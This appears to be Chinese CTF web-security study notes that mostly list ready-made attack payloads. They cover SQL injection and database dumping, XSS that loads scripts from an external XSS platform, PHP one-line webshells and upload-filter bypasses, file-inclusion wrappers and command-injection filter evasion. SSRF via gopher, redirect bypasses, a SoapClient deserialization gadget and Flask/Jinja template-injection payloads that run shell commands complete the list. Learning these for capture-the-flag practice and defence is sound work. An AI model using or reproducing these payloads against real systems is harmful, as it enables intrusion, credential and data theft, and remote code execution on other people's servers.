1.什么是 Referer?
就是你点击A标签 Referer的信息告诉服务端你从哪里点击出来的。
2.什么是User-Agent?
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。可以抓包进行修改其中的值。
3.什么是X-Forwarded-For?
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。大概就是传输自己真实的IP地址,阻止匿名请求,但同样的也可以通过抓包进行修改。
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
整形注入输入表达式(6-4)可自行完成计算,字符注入用 1' 来判别。
1 and 1=1
1' and 1=1 (也可尝试用#截断可能存在的其他语句)
用order by 判断列数
1 order by 1,2
暴库
select database()
-1 union group_concat(select schema_name from information_schema.schemata)
-1 union select 1,(select group_concat(schema_name) from information_schema.schemata)
爆表
-1 union select (select table_name from information_schema.tables where table_schema='' limit 起始,数量),....
group_concat(select table_name from information_schema.tables where table_schema='')
-1 union select (select group_concat(table_name) from information_schema.tables where table_schema='testsqli')
爆字段
-1 union select (select column_name from information_schema.columns where table_name='' limit 起始,数量),....
group_concat(select column_name from information_schema.columns where table_name='')
-1 union select (select group_concat(column_name) from information_schema.columns where table_name='saaaaaaaaaaaaflagscccccccccccc')
爆数据
select 目标字段 from 目标库.目标表
group_concat(select 字段 from 表)
使用报错回显操作,注意不使用
extractvalue报错注入语句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
updatexml报错注入
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
floor报错注入
1 union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema='sqli' limit 0,1)) x from information_schema.schemata group by x
绕过技巧
(1)substr函数绕过
left(str,从左边开始截取的位置)
right(str,从右边开始截取的位置)
substring(str,从左边开始截取的位置)
mid(str,index,key)截取str从index开始,截取len的长度
lpad(str,len,padstr) rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的 长度len,返回填充的结果
(2)等于号(=)绕过
1.用in()
2.用like
(3)ASCII()绕过
hex() bin() ord()
获取数据库的长度
and (select length(database()))>=长度
逐字猜解数据库名
and (select ascii(substr(database(),位数,1)))=ASCII码
逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码 #从前面的1变化是求表名,而n变化是对应的库中的表
当过滤等级较高,关键字完全不能使用时,可以使用堆叠注入;
暴库
1;show databases;#
爆表
1;show tables from 库名;#
爆字段
1;show columns from 表名;#
爆数据
使用handle查表
handler table open;
handler table read first;
handler table read next;
也可用to_base64() base64_encode()转码
数字被过滤同replace()替换
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa'),replace(1,'1','testa') from ctfshow_user4 where username='flag'--+
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(group_concat(table_name)),2,'testb') ,3,'testc') ,4,'testd') ,5,'teste') ,6,'testf') ,7,'testg') ,8,'testh') ,9,'testi') ,0,'testj') ,1,'testa') 解码:
import base64
flag64 = "xxx"
flag = flag64.replace("testa", "1").replace("testb", "2").replace("testc", "3").replace("testd", "4").replace("teste", "5").replace("testf", "6").replace("testg", "7").replace("testh", "8").replace("testi", "9").replace("testj", "0")
print(base64.b64decode(flag))
-1' union select username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+
=''
%20 %09 %0a %0b %0c %0d %a0/**/
此时--+ 注释不可用,可用不可见字符替代+ --%01 ...
- % 表示任意0个或多个字符,可匹配任意类型和长度的字符。有些情况下是中文,需用两个百分号(%%)表示
- _ 表示任意单个字符。匹配单个任意字符,它常用来限定表达式的字符长度语句
- 表示括号内所列字符中的一个(类似正则表达式)。指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个
- [^] 表示不在括号所列之内的单个字符。其取值和 [ ] 相同,但它要求所匹配对象为指定字符以外的任一个字符
3={true+true+true}
ffifdyop md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c 转成字符串为'or'6�]��!r,��b 从而完成了注入
联合查询join
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C);
盲注:substr(str from 1 for 1)
当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
<script>alert(document.cookie);</script>
本地 xss platform 注意点:
线下环境重要更改config.php内的本机ip
要在数据库中修改域名:
UPDATE oc_module SET
code=REPLACE(code,'http://10.17.175.165:81/','http://1.1.1.1:81/')
若无回显可能是伪静态出现问题
### apache方式
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]
</IfModule>
#### nginx方式
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;
又称非持久型XSS。之所以称为反射型XSS,是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的:发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。 而称为非持久型XSS,则是因为这种攻击方式具有一次性,由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用。
反射型攻击代码存在于url中,get请求
存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。
储存型攻击代码存在于data中,post请求
<script>
var target = location.search.split("=")
if (target[0].slice(1) == "jumpto") {
location.href = target[1];
}
</script>
当你将类似于 location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时,浏览器会将其解释为一种特殊的URL方案,即 “javascript:”。在这种情况下,浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析,然后执行它。
http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//74WcPm")
过滤关键词:
双写绕过:
</textarea>'"><scrscriptipt src=http://xsscom.com//cZ2vvZ></scrscriptipt>
大小写绕过:
</textarea>'"><Script src=http://xsscom.com//cZ2vvZ></scRipt>
什么是文件上传:
文件上传就是通过流的方式将文件写到服务器上 文件上传必须以POST提交表单 表单中需要
<input type="file" name="upload">
一句话:
<?php @eval($_POST['upload']);?>
图片马:
copy 1.jpg/b+2.php 3.jpg
先将文件改为合法文件名,抓包截断,改包重放。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。 上传文件名后缀被禁了一大堆,,但并未过滤.htaccess,所以可以采用这种方法绕过。
下面代码的意思是,只要文件名中包含hacker,就会被Apache解析为php文件。
<FilesMatch "hacker">
SetHandler application/x-httpd-php
</FilesMatch>
使该.htaccess文件所在目录及其子目录中的后缀为.jpg的文件被Apache当做php文件
AddType application/x-httpd-php .jpg
.user.ini
auto_prepend_file=a.jpg //第一种
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg //在页面底部加载文件
//上传成功后,要访问本目录下的php文件进行文件包含才能getshell,蚁剑无法直接连接,这需要我们手动传入实现代码执行(我们结合题目学一些常用的函数和命令)
常见MIME类型
类型 | 后缀 | MIME |
---|---|---|
超文本标记语言文本 | .html、.html | text/html |
普通文本 | .txt | text/plain |
RTF 文本 | .rtf | application/rtf |
GIF 图形 | .gif | image/gif |
JPEG 图形 | .jpeg、.jpg | image/jpeg |
au 声音文件 | .au | audio/basic |
MIDI 音乐文件 | mid、.midi | audio/midi、audio/x-midi |
RealAudio 音乐文件 | .ra、.ram | audio/x-pn-realaudio |
MPEG 文件 | .mpg、.mpeg | video/mpeg |
AVI 文件 | .avi | video/x-msvideo |
GZIP 文件 | .gz | application/x-gzip |
TAR 文件 | .tar | application/x-tar |
上传截断,修改类型后重放
这个方法对保存路径做手脚
原理:%00,0x00,/00都属于00截断,利用的是服务器的解析漏洞(ascii中0表示字符串结束),所以读取字符串到00就会停止,认为已经结束。
使用%00截断有两个条件
php版本小于5.3.4 magic_quotes_gpc为off状态
将目标文件改名 例如 attack.php.jpg 再数据包中修改路径 /html/attack.php%00 重放
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
其他后缀 php,php3,php4,php5,phtml,pht,pthm
网页将黑名单的中的文件后缀去除,但只去除了一次 例如后缀 .pinihp 会检测并去除ini 从而留下.php
pHp AsP等
上传可包含一句话的允许文件,如图片马,后缀修改为可解析的形式 .php 修改MIME
GIF89a 文件头欺诈
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language="php">echo '123'; </script> //php_vsesion < 7
使用反引号
<? `cat ../flag* > 2.txt` ?>
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
同一句话木马。
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
文件包含漏洞的环境要求: allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
php中常见的文件包含函数有以下四种:
include()
include函数有这么一个神奇的功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
require() include_once() require_once()
include与require基本是相同的,除了错误处理方面:
include(),只生成警告(E_WARNING),并且脚本会继续 require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本 include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上
-
日志包含: 在已知日志目录的情况下,例如:/var/log/nginx/access.log 在请求头中写入一句话,从而将后们写入access.log
-
file_put_content和死亡·杂糅代码
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");
base64 rot13 编码绕过
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
?flie=php://input
[POST DATA] <?php phpinfo();?>
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
?file=php://filter/resource=xxx.php
?file=php://filter/read=convert.base64-encode/resource=xxx.php
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- zip://中只能传入绝对路径。
- 要用#分隔压缩包和压缩包里的内容,并且#要用url-编码%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
- 相同的类型的还有zlib://和bzip2://
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\zip.jpg%23phpinfo.txt
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo();
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=phar://zip.jpg/phpinfo.txt
?file=phar://D:\zip.jpg\phpinfo.txt
知识点:
1、每个命令之间用(分号)”;”隔开; 说明:各命令的执行结果,不会影响其他命令的。 意思是说每个命令都会执行,但不保证每个命令都执行成功。 2、每个命令之间用&&隔开 说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。 3、每个命令之间用||隔开 说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。 4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。 5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
使用tac:将文件按行倒序输出
一句话木马:
...&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php
绕过关键字: 假如过滤了cat关键字,我们可以采取这样的方式:
127.0.0.1;a=c;b=at;$a$b rce.php
127.0.0.1;a=c;b=at;${a}${b} rce_ping.php
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_73122415714959.php
注:%0a代替换行,%09代替TAB键(过滤空格)、flag被过滤用通配符*处理
%5c代替\(用\来分隔开cat,因为cat也被过滤了qwq)
SSRF(服务器端请求伪造)是种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF攻击的目标是从外网无法访问的内部系统
由于服务端提供了从其他服务器应⽤获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利⽤存在缺陷的web应⽤作为代理,攻击其远程和本地的服务器
代码审计中如何发现
看到fsockopen方法就要注意,一般都是有三个参数:host,port,link,特别注意是link能控制的情况下就要高度重视
SSRF相关函数
- file_get_contents(把整个文件读入一个字符串中)
- fsockopen
- curl_exec
-
file:// 协议 作用: 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
-
http/s协议 作用: 探测内网主机存活
-
dict协议 作用: 泄露安装软件版本信息,查看端口,操作内网redis服务等
-
Gopher协议 作用: Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
gopher://<host>:<port>/_后接TCP数据流
gopher 发送的数据转发了几次就要编码几次,TCP数据中的换行要用 %0d%0a 替换
POST包的最基本的要求如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=758bbb9ed0718425241b656a4e4639c5
使用 gopherus 生成payload
- 利用问号绕过限制
利用问号,这是一个特性,利用问号可以成功绕过URL限制
如:http://www.aaa.com/acb?Url=http://login.aaa.com
这是一个跳转链接,跳转到它的二级域名下,那么这个问号放哪里可以绕过呢?
其实就是放到它自身的域名前面也就是你添加的想要跳转的域名的后面:
Copy如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com
Copy那么,它其实是会跳转到这个test.com域名下,这个域名是我想要跳转的任意域名,而后面的它自身域名一定要带上。
Copy不带上就无法实现用问号?这个特性来跳转到指定域名了,而跳转后,问号和问号后面的内容会变为这样:http://www.test.com/?login.aaa.com
- 0x02 利用反斜杠和正斜杠绕过限制
如:http://www.aaa.com/acb?Url=http://login.aaa.com/ 同样是在它本身域名前加上正斜杠,然后正斜杠前面跟上你想跳转的域名地址。
如:http://www.aaa.com/acb?Url=http://test.com/login.aaa.com
-
反斜杠有三种思路:
-
2.1 两个反斜杠绕过方法
如:http://www.aaa.com/acb?Url=http://login.aaa.com/ 同样是在它本身域名前加上两个反斜杠,然后两个反斜杠前面跟上你想跳转的域名地址。
如:http://www.aaa.com/acb?Url=http://test.com\\login.aaa.com
- 2.2 一个反斜杠绕过方法
如:http://www.aaa.com/acb?Url=http://test.com\login.aaa.com
- 2.3 一个反斜杠一个点
利用.这样的格式,也就是一个反斜杠加一个点来跳过限制,
如:http://www.aaa.com/acb?Url=http://test.com\.login.aaa.com
- 0x03 利用@绕过URL限制
如:<a href=”http://www.aaa.com/acb?Url=http://[email protected]“”>http://www.aaa.com/acb?Url=http://[email protected] 后面的test.com就是要跳转到的域名,前面的域名都是用来辅助以绕过限制的。
- 0x04 利用白名单缺陷绕过限制
有的域名白名单限制是不全的,比如如果想利用一个跳转,而这个跳转是通用,在这个公司网站很多子域名等都可以跳转,那么你买个域名也不算贵对吧。 为什么这么说呢,这个问题就是白名单限制不当,比如,当跳转的域名包含这个网站下的所有域名,比如:http://www.aaa.com/acb?Url=http://login.aaa.com
这个login.aaa.com也可以改成aaa.com同样可以跳转对吧,因为白名单里只要有包含这个域名就直接成功跳转。
那么当我在这个域名前面加上如 testaaa.com,白名单里会检查是否包含aaa.com这个域名,如果包含,就直接跳转,而并没有检查这个域名的整个信息,然后可以利用这个问题,直接注册一个testaaa.com这个域名就可以利用这个跳转。
0x05 多重验证&跳转绕过限制 现在很多网站都有多重验证,比如你登陆账户后会出现另一个验证页面,输入手机验证码进行验证,此时这上面的URL很可能存在任意跳转的问题。
- 多重跳转的问题导致可绕过URL限制:
如:http://www.aaa.com/acb?Url=http: … ttp://login.aaa.com
当然,还有多重的,这个结构的多重跳转你修改最后面的URL就可以达到任意URL跳转,中间的URL就没必要动了。
- 0x06 点击触发达到绕过URL跳转限制 比如很多登陆页面的地方,其URL是一个跳转的URL
如:http://www.aaa.com/acb?Url=http://test.com
你直接修改了后面为任意URL,但是还是停留在原地,似乎没什么问题,但是,当你输入账号和密码后点击登陆按钮后,就会触发跳转。 当然,这个账户和密码不一定要对的,随便都可以,但得视系统而定吧。 这个我遇到了很多,比如你修改了域名,然后点击登陆,登陆成功后便可触发跳转,这也是一个比较隐蔽的绕过URL限制的跳转。
- 0x07 利用xip.io绕过 Copy这个我还没有在测试中应用过,其请求是http://www.127.0.0.1.xip.io 这个绕过是在SSRF场景中的绕过,比如SSRF你要读取内网地址,一般都做了限制,可以尝试用这方法进行绕过限制,从而访问到内网。
另外一点,URL跳转涉及的安全问题大家常见的就是钓鱼,那么利用这个思路也可达成一个钓鱼问题。
如:http://www.qq.com.220.181.57.217.xip.io
当你访问qq这个域名时,其实这个链接已经被解析到后面这个ip地址上了,那么实际访问的就是后面这个IP地址。
- 0x08 利用超链接绕过可信站点限制 比如一个URL,它是可以直接跳转的,但是一般测试跳转时大家习惯用www.baidu.com或qq.com这样的可信站点进行测试,但是有些网站是可以跳转这些网站的。
只要是可信站点且常用,基本都可以跳转,那么这就属于正常的业务逻辑了,难度就这样错失一个URL跳转漏洞了?
其实不然,只要你的URL被百度收录过,那么直接搜索你的域名,site:xxx.xxx
因为你在百度里点击你的域名,它会先是一个302跳转,而这个302跳转就是百度下的302跳转,那么这样就可以绕过可信站点的限制,从而达到跳转到指定URL。
当然,百度这个302有点长,你给它进行加密就行。
- 0x10 利用'井号'绕过
如:http://www.aaa.com/acb?Url=http://test.com#login.aaa.com
- 把ip转换为数字
数字地址计算方式1 111.13.100.92 转成数字地址的方式为:111256256256 + 13256256+100256+92*1
这样得到:1863148636
127.0.0.1 => 2130706433
这种数字地址不需要在前面加0,即访问:http://1863148636 即可访问到百度。
数字地址计算方式2 可以是十六进制,八进制等。 115.239.210.26 >>> 16373751032 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x。
访问:http://016373751032 ,即可访问到百度。
- 127.0.0.1 可写为 http://127.1/ http://0/
parse_url()
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname //
[user] => username @前
[pass] => password @前
[path] => /path /
[query] => arg=value ?以后的key=value
[fragment] => anchor #以后的部分
)
/path
a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式
输出则会导致不可见字符\x00的丢失
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发 即a()
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
在php7.4.0开始,如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
在调用对象中不存在的方法时会调用 __call() 魔术方法
必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('uri' => "127.0.0.1",'location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
说白了就是想办法让后面不可控的字符串变成我们可控的字符串,前提条件是一般的代码里有对字符串进行的替换,且必须是由低长度的字符串替换为高长度的字符串 比如 fuck替换成loveu ; bad替换成goodd 第一步先看需要逃逸的字符串长度,及构造我们想让那个不可控的字符串的序列化内容 如:
";s:5:"token";s:5:"admin";}
或
";s:3:"cmd";s:6:"whoami";}
及构造如上格式 让token cmd等字符串变为我们的可控 然后计数字符串长度 第一个字符串长度为27 且是由fuck变为loveu多了一个字符 及传入(27/1)*fuck 第二个字符串长度为26 且室友bad变为good 多一个字符及传入 (26/2) * bad
加+ ,然后url编码(网页会把编码解析回来,所以可以先加+再编码) 直接在php中加入+也可以
array 绕过 给要序列化的对象套一个array()
大小写绕过,php不区分大小写,主要针对正则绕过
- php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
- php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
- php有三种处理器对$_SESSION数据进行序列化和反序列化。
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
要注意审计代码,弄清楚session是在哪里写入的,一般会有 session_start() 函数,至少有 $_SESSION['']= 赋值语句。
要理清那些页面的session反序列化方式不同,需要在一个页面写入session,在需要的页面将session反序列化。
常见方法:
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
handler handler.settings
常用过滤器:
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
''.class.mro[1].subclasses() 里可能找到 os._wrap_close 类,可进行RCE
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag
''.__class__
''["__class__"]
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}} #少用
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
看文章,拼接、反转、ascii转、编码、chr()、jinja{%%}拼接、大小写转换
{{被过滤,使用{%%}绕过,再借助print()回显
?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
